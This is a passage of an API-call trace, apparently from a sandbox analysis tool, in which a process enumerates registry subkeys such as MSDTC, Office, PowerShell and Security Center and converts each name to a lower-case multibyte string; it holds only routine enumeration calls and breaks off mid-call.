[0247.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0xa8c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0247.613] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3d, lpName=0xa8b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0247.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0xa8c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0247.613] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3e, lpName=0xa8b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0247.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0xa8c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0247.613] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3f, lpName=0xa8b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0247.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0xa8c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0247.613] RegEnumKeyW (in: hKey=0x34, dwIndex=0x40, lpName=0xa8b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0247.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0xa8c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0247.613] RegEnumKeyW (in: hKey=0x34, dwIndex=0x41, lpName=0xa8b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0247.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0xa8c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0247.613] RegEnumKeyW (in: hKey=0x34, dwIndex=0x42, lpName=0xa8b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0247.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0xa8c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0247.614] RegEnumKeyW (in: hKey=0x34, dwIndex=0x43, lpName=0xa8b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0247.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0xa8c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0247.614] RegEnumKeyW (in: hKey=0x34, dwIndex=0x44, lpName=0xa8b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0247.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0247.614] RegEnumKeyW (in: hKey=0x34, dwIndex=0x45, lpName=0xa8b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0247.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0xa8c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0247.614] RegEnumKeyW (in: hKey=0x34, dwIndex=0x46, lpName=0xa8b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0247.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0247.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0xa8c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0247.614] RegEnumKeyW (in: hKey=0x34, dwIndex=0x47, lpName=0xa8b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0247.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0247.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0xa8c0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0247.615] RegEnumKeyW (in: hKey=0x34, dwIndex=0x48, lpName=0xa8b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0247.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0xa8c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0247.615] RegEnumKeyW (in: hKey=0x34, dwIndex=0x49, lpName=0xa8b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0247.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0xa8c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0247.615] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4a, lpName=0xa8b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0247.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0247.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0xa8c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0247.615] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4b, lpName=0xa8b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0247.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0247.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0xa8c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0247.615] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4c, lpName=0xa8b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0247.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0xa8c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0247.615] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4d, lpName=0xa8b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0247.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0xa8c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0247.616] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4e, lpName=0xa8b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0247.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0xa8c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0247.616] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4f, lpName=0xa8b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0247.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0247.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0xa8c0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0247.616] RegEnumKeyW (in: hKey=0x34, dwIndex=0x50, lpName=0xa8b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0247.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0xa8c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0247.616] RegEnumKeyW (in: hKey=0x34, dwIndex=0x51, lpName=0xa8b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0247.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0247.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0xa8c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0247.616] RegEnumKeyW (in: hKey=0x34, dwIndex=0x52, lpName=0xa8b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0247.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0xa8c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0247.616] RegEnumKeyW (in: hKey=0x34, dwIndex=0x53, lpName=0xa8b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0247.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0xa8c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0247.617] RegEnumKeyW (in: hKey=0x34, dwIndex=0x54, lpName=0xa8b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0247.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0xa8c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0247.617] RegEnumKeyW (in: hKey=0x34, dwIndex=0x55, lpName=0xa8b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0247.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0xa8c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0247.617] RegEnumKeyW (in: hKey=0x34, dwIndex=0x56, lpName=0xa8b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0247.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0xa8c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0247.617] RegEnumKeyW (in: hKey=0x34, dwIndex=0x57, lpName=0xa8b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0247.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0xa8c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0247.617] RegEnumKeyW (in: hKey=0x34, dwIndex=0x58, lpName=0xa8b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0247.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0247.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0xa8c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0247.618] RegEnumKeyW (in: hKey=0x34, dwIndex=0x59, lpName=0xa8b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0247.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0xa8c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0247.618] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5a, lpName=0xa8b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0247.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0xa8c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0247.618] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5b, lpName=0xa8b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0247.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0xa8c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0247.618] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5c, lpName=0xa8b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0247.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0xa8c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0247.618] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5d, lpName=0xa8b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0247.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0247.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0xa8c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0247.618] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5e, lpName=0xa8b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0247.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0xa8c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0247.619] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5f, lpName=0xa8b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0247.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0247.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0xa8c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0247.619] RegEnumKeyW (in: hKey=0x34, dwIndex=0x60, lpName=0xa8b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0247.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0xa8c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0247.619] RegEnumKeyW (in: hKey=0x34, dwIndex=0x61, lpName=0xa8b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0247.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0xa8c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0247.619] RegEnumKeyW (in: hKey=0x34, dwIndex=0x62, lpName=0xa8b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0247.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0247.619] RegEnumKeyW (in: hKey=0x34, dwIndex=0x63, lpName=0xa8b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0247.619] WideCharToMultiByte 